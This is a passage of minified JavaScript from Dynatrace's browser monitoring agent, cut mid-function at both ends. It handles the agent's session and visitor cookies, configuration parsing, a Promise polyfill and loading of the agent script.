if(isNaN(k)||3>k)return w;k={};for(var A=2;A<M.length;A++)k[M[A]]=M[A+1],A++;k.sn?(M=k.sn,M=M.length===cd||12>=M.length?M:""):M="hybrid";w.sessionId=M;if(k.srv){a:{M=k.srv.replace("-2D","-");if(!isNaN(Number(M))&&(A=U(M),-99<=A&&99>=A))break a;M=""}w.serverId=M}M=Number(k.ol);if(1===M){A=mc();var Ta=Bb.dT_;A||(x("dtDisabled","true"),Ta.disabled=!0,Ta.overloadPrevention=!0)}0<=M&&2>=M&&(w.overloadState=M);k=Number(k.prv);isNaN(k)||(w.privacyState=1>k||4<k?1:k)}return w}function Kc(){return Vc()}function gd(k,
w){function M(){delete Bg[xb];k.apply(this,arguments)}for(var A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];if("apply"in Ee){A.unshift(M,w);var xb=Ee.apply(Bb,A)}else xb=Ee(M,w);Bg[xb]=!0;return xb}function ma(k){delete Bg[k];"apply"in Fe?Fe.call(Bb,k):Fe(k)}function Ca(k){C(tf,k)}function Ra(k){for(var w=tf.length;w--;)if(tf[w]===k){tf.splice(w,1);break}}function Sa(){return tf}function Db(k,w){return mi(k,w)}function Yb(k){Ge(k)}function Na(k,w){if(!Wd||!jg)return"";k=new Wd([k],{type:w});
return jg(k)}function oc(k,w){return je?new je(k,w):void 0}function rb(k){"function"===typeof k&&C(Wf,k)}function wb(){return Wf}function pc(){return Jd}function Sc(k){return function(){for(var w=[],M=0;M<arguments.length;M++)w[M]=arguments[M];if("number"!==typeof w[0]||!Bg[w[0]])try{return k.apply(this,w)}catch(A){return k(w[0])}}}function ed(){return me}function $b(){J=Ua;Bb.performance&&(Vc=function(){return Math.round(J()+ab())});if(!Vc||isNaN(Vc())||0>=Vc()||!isFinite(Vc()))Vc=function(){return(new Date).getTime()}}
function Ac(){kg&&(Bb.clearTimeout=Fe,Bb.clearInterval=Ge,kg=!1)}function Ic(k,w){try{Bb.localStorage&&Bb.localStorage.setItem(k,w)}catch(M){}}function Nc(k){try{Bb.localStorage&&Bb.localStorage.removeItem(k)}catch(w){}}function qd(){Nc("rxec");Nc("rxvisitid");Nc("rxvt")}function ad(k){t()?k():(Cf||(Cf=[]),C(Cf,k))}function dc(k){return y(k)}function Lc(){if(Oa("coo")&&!t()){for(var k=0,w=Cf;k<w.length;k++)gd(w[k],0);Cf=[];ka("cooO",!0)}}function jd(){if(Oa("coo")&&t()){ka("cooO",!1);O("dtCookie");
O("dtPC");O("dtLatC");O("dtSa");O("dtAdk");O("rxVisitor");O("rxvt");try{R("rxec");R("rxvisitid");R("rxvt");qd();var k=Ld;k&&(k.removeItem("rxVisitor"),k.removeItem("dtCookie"));if(k=lg)k.removeItem(yb()),k.removeItem("dtAdk")}catch(w){}}}function bc(k,w){void 0===w&&(w=document.cookie||"");return w.split(k+"=").length-1}function ic(k,w){var M=bc(k,w);if(1<M){w=I("domain")||Bb.location.hostname;var A=Bb.location.hostname,Ta=Bb.location.pathname,xb=0,ec=0;nf.push(k);do{var uc=A.substring(xb);if(uc!==
w||"/"!==Ta){Vb(k,uc===w?"":uc,Ta);var qc=bc(k);qc<M&&(nf.push(uc),M=qc)}xb=A.indexOf(".",xb)+1;ec++}while(0!==xb&&10>ec&&1<M);I("domain")&&1<M&&Vb(k,"",Ta)}}function Pd(){var k=document.cookie;ic("dtPC",k);ic("dtCookie",k);ic("dtLatC",k);ic("rxvt",k);0<nf.length&&C(me,{severity:"Error",type:"dcn",text:"Duplicate cookie name".concat(1!==nf.length?"s":""," detected: ").concat(nf.join(", "))});Ca(function(w,M,A,Ta){0<nf.length&&!M&&(w.av(Ta,"dCN",nf.join(",")),nf=[]);0<ih.length&&!M&&(w.av(Ta,"eCC",
ih.join(",")),ih=[])})}function af(k){var w=k,M=Math.pow(2,32);return function(){w=(1664525*w+1013904223)%M;return w/M}}function Se(k,w){return isNaN(k)||isNaN(w)?Math.floor(33*Rg()):Math.floor(Rg()*(w-k+1))+k}function Qd(k){if(!k)return"";var w=Bb.crypto||Bb.msCrypto;if(w&&-1===ra(navigator.userAgent,"Googlebot"))w=w.getRandomValues(new Uint8Array(k));else{w=[];for(var M=0;M<k;M++)w.push(Se(0,32))}k=[];for(M=0;M<w.length;M++){var A=Math.abs(w[M]%32);k.push(String.fromCharCode(A+(9>=A?48:55)))}return k.join("")}
function ke(){return of}function Wc(k){k&&(null===k||void 0===k?0:k.configurable)&&k.set&&k.get&&Object.defineProperty(document,"cookie",{get:function(){return k.get.call(document)},set:function(w){var M=w.split("=")[0];k.set.call(document,w);Oe?1<bc(M)&&nf.push(M):-1<ia(Xf,M)&&(ih.push(M),-1===ia(Sg,M)&&(C(Sg,M),C(me,{severity:"Error",type:"ecm",text:"Invalid modification of agent cookie ".concat(M," detected. Modifying Dynatrace cookies may result in missing or invalid data.")})))}})}function Te(k){void 0===
k&&(k=!0);Cg=k}function Bd(k,w,M){var A=Za("pcl");A=k.length-A;0<A&&k.splice(0,A);A=ac(ba("dtCookie",M));for(var Ta=[],xb=A?"".concat(A,"$"):"",ec=0;ec<k.length;ec++){var uc=k[ec];"-"!==uc.G&&Ta.push("".concat(xb).concat(uc.frameId,"h").concat(uc.G))}k=Ta.join("p");k||(Cg&&(E(!0,"a",M),Te(!1)),k+="".concat(A,"$").concat(of,"h-"));k+="v".concat(w||ye(M));Ga("dtPC",k+"e0",void 0,Oa("ssc"))}function Rd(k,w){void 0===w&&(w=document.cookie);var M=ba("dtPC",w);w=[];if(M&&"-"!==M){var A="";var Ta=0;for(M=
M.split("p");Ta<M.length;Ta++){var xb=M[Ta],ec=A,uc=k;void 0===ec&&(ec="");A=ra(xb,"$");var qc=ra(xb,"h");var ud=ra(xb,"v"),We=ra(xb,"e");A=xb.substring(A+1,qc);qc=-1!==ud?xb.substring(qc+1,ud):xb.substring(qc+1);ec||-1===ud||(ec=-1!==We?xb.substring(ud+1,We):xb.substring(ud+1));xb=null;uc||(uc=U(A.split("_")[0]),ud=Vc()%Tg,ud<uc&&(ud+=Tg),uc=uc+9E5>ud);uc&&(xb={frameId:A,G:"-"===qc?"-":U(qc),visitId:""});A=ec;(qc=xb)&&w.push(qc)}for(k=0;k<w.length;k++)w[k].visitId=A}return w}function Xe(k,w){var M=
document.cookie;w=Rd(w,M);for(var A=!1,Ta=0;Ta<w.length;Ta++){var xb=w[Ta];xb.frameId===of&&(xb.G=k,A=!0)}A||C(w,{frameId:of,G:k,visitId:""});Bd(w,void 0,M)}function ye(k){return zd(k)||E(!0,"c",k)}function zd(k){if(fc(k)<=Vc())return E(!0,"t",k);var w=vd(k);if(!w)return E(!0,"c",k);var M=ni.exec(w);if(!M||3!==M.length||32!==M[1].length||isNaN(U(M[2])))return E(!0,"i",k);x("rxvisitid",w);return w}function ze(k,w){var M=Vc();w=Ib(w).Gc;k&&(w=M);bb(M+Df+"|"+w);sa()}function ne(k){var w="t"+(Vc()-fc(k)),
M=vd(k),A=He();ve(A,k);N(A,w,M)}function vd(k){var w,M;return null!==(M=null===(w=Rd(!0,k)[0])||void 0===w?void 0:w.visitId)&&void 0!==M?M:oa("rxvisitid")}function He(){var k=Qd(cd);k=k.replace(/[0-9]/g,function(w){w=.1*U(w);return String.fromCharCode(Math.floor(25*w+65))});return k+"-0"}function ve(k,w){var M=Rd(!1,w);Bd(M,k,w);x("rxvisitid",k);ze(!0)}function u(k,w,M){return E(k,w,M)}function E(k,w,M){k&&(Ef=!0);k=vd(M);M=He();ve(M);N(M,w,k);return M}function N(k,w,M){if(vd(document.cookie))for(var A=
0,Ta=Yf;A<Ta.length;A++)(0,Ta[A])(k,Ef,w,M)}function ha(k){Yf.push(k)}function sa(k){wd&&ma(wd);wd=gd(Ia,fc(k)-Vc())}function Ia(){var k=document.cookie;if(fc(k)<=Vc())return y(ne,[k]),!0;ad(sa);return!1}function bb(k){Ga("rxvt",k,void 0,Oa("ssc"));x("rxvt",k)}function cb(k,w){(w=ba(k,w))||(w=oa(k)||"");return w}function Fb(){var k=zd()||"";x("rxvisitid",k);k=cb("rxvt");bb(k);qd()}function Ib(k){var w={Ad:0,Gc:0};if(k=cb("rxvt",k))try{var M=k.split("|");2===M.length&&(w.Ad=parseInt(M[0],10),w.Gc=
parseInt(M[1],10))}catch(A){}return w}function fc(k){k=Ib(k);return Math.min(k.Ad,k.Gc+Mf)}function Ec(k){Df=k}function ld(){var k=Ef;Ef=!1;return k}function fd(){Ia()||ze(!1)}function hd(k){try{if(Bb.localStorage)return Bb.localStorage.getItem(k)}catch(w){}return null}function od(){var k=ba("rxVisitor");k&&45===(null===k||void 0===k?void 0:k.length)||(k=hd("rxVisitor")||oa("rxVisitor"),45!==(null===k||void 0===k?void 0:k.length)&&(Nf=!0,k=String(Vc()),k+=Qd(45-k.length)));we(k);return k}function we(k){if(Oa("dpvc")||
Oa("pVO"))x("rxVisitor",k);else{var w=new Date;var M=w.getMonth()+Math.min(24,Math.max(1,Za("rvcl")));w.setMonth(M);y(Ic,["rxVisitor",k])}Ga("rxVisitor",k,w,Oa("ssc"))}function ce(){return Nf}function Xd(k){var w=ba("rxVisitor");O("rxVisitor");R("rxVisitor");Nc("rxVisitor");ka("pVO",!0);we(w);k&&y(Ic,["dt-pVO","1"]);Fb()}function Hd(){Nc("dt-pVO");Oa("pVO")&&(ka("pVO",!1),od());R("rxVisitor");Fb()}function xf(k,w,M,A,Ta){var xb=document.createElement("script");xb.setAttribute("src",k);w&&xb.setAttribute("defer",
"defer");M&&(xb.onload=M);A&&(xb.onerror=A);Ta&&xb.setAttribute("id",Ta);xb.setAttribute("crossorigin","anonymous");k=document.getElementsByTagName("script")[0];k.parentElement.insertBefore(xb,k)}function Of(k,w){return Ff+"/"+(w||Ug)+"_"+k+"_"+(Za("buildNumber")||Bb.dT_.version)+".js"}function Dg(){var k,w;try{null===(w=null===(k=Bb.MobileAgent)||void 0===k?void 0:k.incrementActionCount)||void 0===w?void 0:w.call(k)}catch(M){}}function jh(){var k,w=Bb.dT_;Bb.dT_=(k={},k.di=0,k.version="10243220606153550",
k.cfg=w?w.cfg:"",k.iCE=w?Va:function(){return navigator.cookieEnabled},k.ica=1,k.disabled=!1,k.overloadPrevention=!1,k.gAST=pc,k.ww=oc,k.stu=Na,k.nw=Kc,k.apush=C,k.st=gd,k.si=Db,k.aBPSL=Ca,k.rBPSL=Ra,k.gBPSL=Sa,k.aBPSCC=rb,k.gBPSCC=wb,k.buildType="dynatrace",k.gSSV=oa,k.sSSV=x,k.rSSV=R,k.rvl=Nc,k.pn=U,k.iVSC=Wa,k.p3SC=Oc,k.io=ra,k.dC=O,k.sC=Ga,k.esc=H,k.gSId=ac,k.gDtc=rc,k.gSC=Eb,k.sSC=Lb,k.gC=db,k.cRN=Se,k.cRS=Qd,k.gEL=L,k.gEBTN=eb,k.cfgO=Zb,k.pCfg=Ha,k.pCSAA=vb,k.cFHFAU=Cb,k.sCD=Qb,k.bcv=Oa,k.ncv=
Za,k.scv=I,k.stcv=ka,k.rplC=Ba,k.cLSCK=yb,k.gFId=ke,k.gBAU=Of,k.iS=xf,k.eWE=ad,k.oEIE=dc,k.oEIEWA=y,k.eA=Lc,k.dA=jd,k.iNV=ce,k.gVID=od,k.dPV=Xd,k.ePV=Hd,k.sVIdUP=Te,k.sVTT=Ec,k.sVID=ve,k.rVID=zd,k.gVI=ye,k.gNVIdN=u,k.gARnVF=ld,k.cAUV=fd,k.uVT=ze,k.aNVL=ha,k.gPC=Rd,k.cPC=Xe,k.sPC=Bd,k.clB=Ac,k.ct=ma,k.aRI=jb,k.iXB=Ab,k.gXBR=nb,k.sXBR=lb,k.de=Q,k.cCL=La,k.iEC=Dg,k.rnw=ab,k.gto=za,k.ael=la,k.rel=ua,k.sup=Ka,k.cuel=Hb,k.iAEPOO=t,k.iSM=mc,k.aIOf=ia,k.gxwp=V,k.iIO=W,k.prm=ja,k.cI=Yb,k.gidi=ed,k.iDCV=q,
k.gCF=ba,k.gPSMB=D,k.lvl=hd,k)}function pf(){ad(function(){if(!rc()){var k=-1*Se(2,99),w=Qd(cd);Lb("v_4_srv_".concat(String(k).replace("-","-2D"),"_sn_").concat(w))}})}var Vf="undefined"!==typeof window?window:self,Bb="undefined"!==typeof window?window:self,tg,J,B=setTimeout;na.prototype["catch"]=function(k){return this.then(null,k)};na.prototype.then=function(k,w){var M=new this.constructor(Z);ta(this,new S(k,w,M));return M};na.prototype["finally"]=function(k){var w=this.constructor;return this.then(function(M){return w.resolve(k()).then(function(){return M})},
function(M){return w.resolve(k()).then(function(){return w.reject(M)})})};na.all=function(k){return new na(function(w,M){function A(uc,qc){try{if(qc&&("object"===typeof qc||"function"===typeof qc)){var ud=qc.then;if("function"===typeof ud){ud.call(qc,function(We){A(uc,We)},M);return}}Ta[uc]=qc;0===--xb&&w(Ta)}catch(We){M(We)}}if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.all accepts an array"));var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);for(var xb=Ta.length,
ec=0;ec<Ta.length;ec++)A(ec,Ta[ec])})};na.allSettled=function(k){return new this(function(w,M){function A(ec,uc){if(uc&&("object"===typeof uc||"function"===typeof uc)){var qc=uc.then;if("function"===typeof qc){qc.call(uc,function(ud){A(ec,ud)},function(ud){Ta[ec]={status:"rejected",reason:ud};0===--xb&&w(Ta)});return}}Ta[ec]={status:"fulfilled",value:uc};0===--xb&&w(Ta)}if(!k||"undefined"===typeof k.length)return M(new TypeError(typeof k+" "+k+" is not iterable(cannot read property Symbol(Symbol.iterator))"));
var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);var xb=Ta.length;for(M=0;M<Ta.length;M++)A(M,Ta[M])})};na.resolve=function(k){return k&&"object"===typeof k&&k.constructor===na?k:new na(function(w){w(k)})};na.reject=function(k){return new na(function(w,M){M(k)})};na.race=function(k){return new na(function(w,M){if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.race accepts an array"));for(var A=0,Ta=k.length;A<Ta;A++)na.resolve(k[A]).then(w,M)})};na.Jb="function"===
typeof setImmediate&&function(k){setImmediate(k)}||function(k){B(k,0)};na.Qc=function(k){"undefined"!==typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",k)};var K=na,Fa={"!":"%21","~":"%7E","*":"%2A","(":"%28",")":"%29","'":"%27",$:"%24",";":"%3B",",":"%2C"},Ya,tb,Sb,Ub,Pb=Bb.attachEvent,cc=Bb.Worker,lc=cc&&cc.prototype.addEventListener,$c=[],Vd=["touchstart","touchend","scroll"],yd,dd,ie="abort getAllResponseHeaders getResponseHeader open overrideMimeType send setRequestHeader".split(" "),
Kd,Ne,Yc,Ce,ig=(Ce={},Ce.l="Lax",Ce.s="Strict",Ce.n="None",Ce),xc={},Ld,Oe=!1,cd=32,je=Bb.Worker,Wd=Bb.Blob,jg=Bb.URL&&Bb.URL.createObjectURL,Fe,Ge,Ee,mi,kg=!1,tf,Wf=[],me=[],Jd,lg,Bg={},Vc,Cf=[],nf=[],ih=[],Rg,Eg,of,Tg=6E8,Xf=[],Sg=[],Cg=!1,ni=/([A-Z]+)-([0-9]+)/,Yf=[],Df,Mf,Ef=!1,wd,Nf=!1,Ye,Ff,Ug;(function(k){var w,M;k=k||0>(null===(w=navigator.userAgent)||void 0===w?void 0:w.indexOf("RuxitSynthetic"));if(!Bb.dT_||!Bb.dT_.cfg||"string"!==typeof Bb.dT_.cfg||"initialized"in Bb.dT_&&Bb.dT_.initialized)null===
(M=Bb.console)||void 0===M?void 0:M.log("InitConfig not found or agent already initialized! This is an injection issue."),Bb.dT_&&(Bb.dT_.di=3);else if(k)try{jh();var A;Yc=(A={},A.ade="",A.aew=!0,A.apn="",A.agentLocation="",A.agentUri="",A.app="",A.async=!1,A.ase=!1,A.auto=!1,A.bp1=!1,A.bp2=!1,A.bp=1,A.bisaoi=!1,A.bisCmE="",A.bs=!1,A.buildNumber=0,A.csprv=!0,A.cepl=16E3,A.cls=!0,A.ccNcss=!1,A.cg=!1,A.coo=!1,A.cooO=!1,A.cssm="0",A.cwt="",A.cwtUrl="27pd8x1igg",A.cors=!1,A.csu="",A.cuc="",A.cce=!1,A.cux=
!1,A.dataDtConfig="",A.debugName="",A.dvl=500,A.dASXH=!1,A.disableCookieManager=!1,A.disableLogging=!1,A.dmo=!1,A.doel=!1,A.dpch=!1,A.dpvc=!1,A.disableXhrFailures=!1,A.domain="",A.domainOverride="",A.domainOriginal="",A.doNotDetect="",A.ds=!0,A.dsndb=!1,A.dsa=!1,A.dsss=!1,A.dssv=!0,A.earxa=!0,A.exp=!1,A.eni=!0,A.erjdw=!0,A.expw=!1,A.instr="",A.evl="",A.extblacklist="",A.euf=!1,A.fau=!0,A.fa=!1,A.fvdi=!1,A.featureHash="",A.hvt=216E5,A.ffi=!1,A.imm=!1,A.ign="",A.iub="",A.iqvn=!1,A.initializedModules=
"",A.lastModification=0,A.lupr=!0,A.lab=!1,A.legacy=!1,A.lt=!0,A.mb="",A.md="",A.mdp="",A.mdl="",A.mcepsl=100,A.mdn=5E3,A.mhl=4E3,A.mpl=1024,A.mmds=2E4,A.msl=3E4,A.bismepl=2E3,A.mel=200,A.mepp=10,A.moa=30,A.mrt=3,A.ntd=!1,A.ncw=!1,A.oat=180,A.ote=!1,A.owasp=!1,A.pcl=20,A.pt=!0,A.perfbv=1,A.prfSmpl=0,A.pVO=!1,A.peti=!1,A.raxeh=!0,A.rdnt=0,A.nosr=!0,A.reportUrl="dynaTraceMonitor",A.rid="",A.ridPath="",A.rpid="",A.rcdec=12096E5,A.rtl=0,A.rtp=2,A.rtt=1E3,A.rtu=200,A.restoreTimeline=!1,A.rvcl=24,A.sl=
100,A.ssc=!1,A.svNB=!1,A.srad=!0,A.srbbv=1,A.srbw=!0,A.srmr=100,A.srms="1,1,,,",A.srsr=1E5,A.srtbv=3,A.srtd=1,A.srtr=500,A.srvr="",A.srvi=0,A.srwo=!1,A.srre="",A.srxcss=!0,A.srxicss=!0,A.srif=!1,A.srmrc=!1,A.srsdom=!1,A.srcss=!0,A.srmcrl=1,A.srmcrv=10,A.ssv=4,A.st=3E3,A.spc="",A.syntheticConfig=!1,A.tal=0,A.tp="500,50,3",A.tt=100,A.tvc=3E3,A.exteventsoff=!1,A.uxdce=!1,A.uxdcw=1500,A.uxrgce=!0,A.uxrgcm="100,25,300,3;100,25,300,3",A.uam=!1,A.uana="data-dtname,data-dtName",A.uanpi=0,A.pui=!1,A.usrvd=
!0,A.vrt=!1,A.vcfi=!0,A.vcit=1E3,A.vct=50,A.vcx=50,A.vscl=0,A.vncm=1,A.xb="",A.chw="",A.xt=0,A.xhb="",A);var Ta;ja();var xb;yd=Bb.XMLHttpRequest;dd=Bb.ActiveXObject;var ec=null===(xb=Bb.XMLHttpRequest)||void 0===xb?void 0:xb.prototype;if(ec)for(Kd={},w=0,M=ie;w<M.length;w++){var uc=M[w];void 0!==ec[uc]&&(Kd[uc]=ec[uc])}Ya=Bb.addEventListener;tb=Bb.removeEventListener;Sb=Bb.document.addEventListener;Ub=Bb.document.removeEventListener;Ee=Bb.setTimeout;mi=Bb.setInterval;kg||(Fe=Bb.clearTimeout,Ge=Bb.clearInterval);
var qc=Va?Va():navigator.cookieEnabled,ud=1===Oc(ba("dtAdkSettings")||(null===(Ta=lg)||void 0===Ta?void 0:Ta.getItem("dtAdkSettings"))||"").overloadState;La();if(!(!qc||ud?0:"complete"!==document.readyState||Bb.performance&&Bb.performance.timing))throw Error("Error during initCode initialization");try{lg=Bb.localStorage}catch(Xb){}$b();Jd=Vc();tf=[];me=[];Bg={};if(!kg){Bb.clearTimeout=Sc(Fe);Bb.clearInterval=Sc(Ge);kg=!0;try{Ld=Bb.sessionStorage}catch(Xb){}}var We=Math.random(),Ei=Math.random();Eg=
0!==We&&0!==Ei&&We!==Ei;if(-1!==ra(navigator.userAgent,"Googlebot")){var Ie=performance.getEntriesByType("navigation")[0];Ta=1;if(Ie){for(var Gf in Ie){var bf=Ie[Gf];"number"===typeof bf&&bf&&(Ta=1===Ta?bf:Ta+bf)}var kf=Math.floor(1E4*Ta)}else kf=Ta;Rg=af(kf)}else Eg?Rg=Math.random:Rg=af(Vc());of=Jd%Tg+"_"+U(Se(0,1E3)+"");a:{var Je=Bb.dT_.cfg;xc={reportUrl:"dynaTraceMonitor",initializedModules:"",csu:"dtagent",dataDtConfig:"string"===typeof Je?Je:""};Bb.dT_.cfg=xc;xc.csu="ruxitagentjs";var Ed=xc.dataDtConfig;
Ed&&-1===ra(Ed,"#CONFIGSTRING")&&(vb(Ed,xc),$a("domain"),$a("auto"),$a("app"),Cb(xc));var mg=eb("script"),kh=L(mg),Fd=-1===ra(xc.dataDtConfig||"","#CONFIGSTRING")?xc:null;if(0<kh)for(kf=0;kf<kh;kf++)b:{Ie=void 0;var lh=mg[kf];Gf=Fd;if(lh.attributes){var Sd=xc.csu+"_bootstrap.js";bf=/.*\/jstag\/.*\/.*\/(.*)_bs(_dbg)?.js$/;Je=Gf;var Bc=lh.src,qe=null===Bc||void 0===Bc?void 0:Bc.indexOf(Sd),fj=lh.attributes.getNamedItem("data-dtconfig");if(fj){Ed=void 0;Ta=Bc;var Zf=fj.value;ec={};xc.legacy="1";uc=/([a-zA-Z]*)_([a-zA-Z_0-9]*)_([0-9]+)/g;
Ta&&(Ed=uc.exec(Ta),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1],ec.featureHash=Ed[2],ec.agentLocation=Ta.substring(0,ra(Ta,Ed[1])-1),ec.buildNumber=Ed[3]);if(Zf){vb(Zf,ec,!0);var Fi=ec.agentUri;!Ta&&Fi&&(Ed=uc.exec(Fi),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1])}bd(ec);Ie=ec;if(!Gf)Je=Ie;else if(!Ie.syntheticConfig){Fd=Ie;break b}}Ie||(Ie=xc);if(0<qe){var Gi=qe+Sd.length+5;Ie.app=Bc.length>Gi?Bc.substring(Gi):"Default%20Application"}else if(Bc){var oi=bf.exec(Bc);oi&&(Ie.app=oi[1])}Fd=
Je}else Fd=Gf}if(Fd)for(var Cc in Fd)Object.prototype.hasOwnProperty.call(Fd,Cc)&&(mg=Cc,xc[mg]=Fd[mg]);var sc=yb();try{var uf=(Fd=lg)&&Fd.getItem(sc);if(uf){var Ae=Ha(uf),Md=vb(Ae.config||""),cf=xc.lastModification||"0",df=U((Md.lastModification||Ae.lastModification||"0").substring(0,13)),ug="string"===typeof cf?U(cf.substring(0,13)):cf;if(!cf||df>=ug)if(Md.csu=Ae.name||I("csu"),Md.featureHash=Ae.featureHash||I("featureHash"),Md.agentUri&&Cb(Md),Qb(Md,!0),Ab(Md),jb(Md),df>(xc.lastModification||0)){var Td=
Oa("auto"),gj=Oa("legacy");xc=Ba(Md);xc.auto=Td?"1":"0";xc.legacy=gj?"1":"0"}}}catch(Xb){}Qb(xc);try{var Hi=xc.ign;if(Hi&&(new RegExp(Hi)).test(Bb.location.href)){document.dT_=Bb.dT_=void 0;var re=!1;break a}}catch(Xb){}if(mc()){var pi=navigator.userAgent,Yd=pi.lastIndexOf("RuxitSynthetic");if(-1===Yd)var $f={};else{var qf=pi.substring(Yd+14);if(-1===ra(qf," c"))$f={};else{sc={};uf=0;for(var rf=qf.split(" ");uf<rf.length;uf++){var ag=rf[uf];if("c"===ag.charAt(0)){var yf=ag.substring(1),Ch=yf.indexOf("="),
Pe=yf.substring(0,Ch),Oh=yf.substring(Ch+1);Pe&&Oh&&(sc[Pe]=Oh)}}$f=sc}}qf=void 0;for(qf in $f)Object.prototype.hasOwnProperty.call($f,qf)&&$f[qf]&&(xc[qf]=$f[qf]);Ba(xc)}re=!0}if(!re)throw Error("Error during config initialization");Pd();try{Ye=Bb.dT_.disabled||!!oa("dtDisabled")}catch(Xb){}var Fg;if(!(Fg=I("agentLocation")))a:{var Vg=I("agentUri");if(Vg||document.currentScript){var F=Vg||document.currentScript.src;if(F){re=F;var P=-1===ra(re,"_bs")&&-1===ra(re,"_bootstrap")&&-1===ra(re,"_complete")?
1:2,da=F.lastIndexOf("/");for(re=0;re<P&&-1!==da;re++)F=F.substring(0,da),da=F.lastIndexOf("/");Fg=F;break a}}var xa=location.pathname;Fg=xa.substring(0,xa.lastIndexOf("/"))}Ff=Fg;Ug=I("csu")||"ruxitagentjs";"true"===ba("dtUseDebugAgent")&&0>Ug.indexOf("dbg")&&(Ug=I("debugName")||Ug+"dbg");if(!Oa("auto")&&!Oa("legacy")&&!Ye){var Qa=I("agentUri")||Of(I("featureHash")),hb;if(!(hb=Oa("async")||"complete"===document.readyState)){var Gb=Bb.navigator.userAgent,Jb=Gb.indexOf("MSIE ");hb=0<Jb?9>=parseInt(Gb.substring(Jb+
5,Gb.indexOf(".",Jb)),10):!1}if(hb)xf(Qa,Oa("async"),void 0,void 0,"dtjsagent");else{var Rb="".concat("dtjsagent","dw");document.write('<script id="'.concat(Rb,'" type="text/javascript" src="').concat(Qa,'">\x3c/script>'));document.getElementById(Rb)||xf(Qa,Oa("async"),void 0,void 0,"dtjsagent")}}ba("dtCookie")&&ka("cooO",!0);pf();ka("pVO",!!hd("dt-pVO"));ad(od);Df=18E5;Mf=Za("hvt")||216E5;y(Xe,[1]);Sg=[];Xf="dtCookie dtLatC rxvt dtAdk dtAdkSettings dtPC".split(" ");if(Oa("cg"))try{Wc(Object.getOwnPropertyDescriptor(Document.prototype,
"cookie")||Object.getOwnPropertyDescriptor(HTMLDocument.prototype,"cookie"))}catch(Xb){}}catch(Xb){try{delete Bb.dT_}catch(Dc){Bb.dT_=void 0}La()&&Bb.console.log("JsAgent initCode initialization failed!",Xb)}})(!1)})()})();
/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(a){for(var b,d=1,f=arguments.length;d<f;d++){b=arguments[d];for(var l in b)Object.prototype.hasOwnProperty.call(b,l)&&(a[l]=b[l])}return a};return La.apply(this,arguments)}function gb(){return"10243220606153550"}function db(a,b){void 0===b&&(b=[]);var d=mb.dT_;d=(null===d||void 0===d?0:d.iIO)?d.iIO:null;return!(null===
d||void 0===d||!d(a,b))}function Ea(a,b,d){void 0===d&&(d=0);var f=-1;b&&(null===a||void 0===a?0:a.indexOf)&&(f=a.indexOf(b,d));return f}function Ua(a,b){if(!b)return"";var d=a+"=";a=Ea(b,d);if(0>a)return"";for(;0<=a;){if(0===a||" "===b.charAt(a-1)||";"===b.charAt(a-1))return d=a+d.length,a=Ea(b,";",a),0<=a?b.substring(d,a):b.substring(d);a=Ea(b,d,a+d.length)}return""}function Pa(a){return(db(a,9)||za(a))&&("string"===typeof a.textContent||"string"===typeof a.innerText)}function za(a){return a&&a.nodeType&&
1===a.nodeType}function ab(a){return a&&"INPUT"===a.nodeName}function ba(a){return a&&"SCRIPT"===a.nodeName}function Z(a){return!!a.syn}function Aa(a,b){var d;void 0===b&&(b=[]);if(!a||"object"!==typeof a&&"function"!==typeof a)return!1;var f="number"!==typeof b?b:[],l=null,r=[];switch("number"===typeof b?b:5){case 0:l="Array";r.push("push");break;case 1:l="Boolean";break;case 2:l="Number";break;case 3:l="String";break;case 4:l="Function";break;case 5:l="Object";break;case 6:l="Date";r.push("getTime");
break;case 7:l="Error";r.push("name","message");break;case 8:l="Element";break;case 9:l="HTMLElement";break;case 10:l="HTMLImageElement";r.push("complete");break;case 11:l="PerformanceEntry";break;case 12:l="PerformanceTiming";break;case 13:l="PerformanceResourceTiming";break;case 14:l="PerformanceNavigationTiming";break;case 15:l="CSSRule";r.push("cssText","parentStyleSheet");break;case 16:l="CSSStyleSheet";r.push("cssRules","insertRule");break;case 17:l="Request";r.push("url");break;case 18:l="Response";
r.push("ok","status","statusText");break;case 19:l="Set";r.push("add","entries","forEach");break;case 20:l="Map";r.push("set","entries","forEach");break;case 21:l="Worker";r.push("addEventListener","postMessage","terminate");break;case 22:l="XMLHttpRequest";r.push("open","send","setRequestHeader");break;case 23:l="SVGScriptElement";r.push("ownerSVGElement","type");break;case 24:l="HTMLMetaElement";r.push("httpEquiv","content","name");break;case 25:l="HTMLHeadElement";break;case 26:l="ArrayBuffer";
break;case 27:l="ShadowRoot",r.push("host","mode")}b=l;if(!b)return!1;r=r.length?r:f;if(!f.length)try{if(mb[b]&&a instanceof mb[b]||Object.prototype.toString.call(a)==="[object "+b+"]")return!0;if(za(a)){var G=null===(d=a.ownerDocument.defaultView)||void 0===d?void 0:d[b];if("function"===typeof G&&a instanceof G)return!0}}catch(ea){}for(d=0;d<r.length;d++)if(f=r[d],"string"!==typeof f&&"number"!==typeof f&&"symbol"!==typeof f||!(f in a))return!1;return!!r.length}function na(a,b,d){if(d||2===arguments.length)for(var f=
0,l=b.length,r;f<l;f++)!r&&f in b||(r||(r=Array.prototype.slice.call(b,0,f)),r[f]=b[f]);return a.concat(r||Array.prototype.slice.call(b))}function ta(a){return"function"===typeof a&&/{\s+\[native code]/.test(Function.prototype.toString.call(a))}function Ma(a,b){for(var d,f=[],l=2;l<arguments.length;l++)f[l-2]=arguments[l];return void 0!==Function.prototype.bind&&ta(Function.prototype.bind)?(d=Function.prototype.bind).call.apply(d,na([a,b],f,!1)):function(){for(var r=0;r<arguments.length;r++);return a.apply(b,
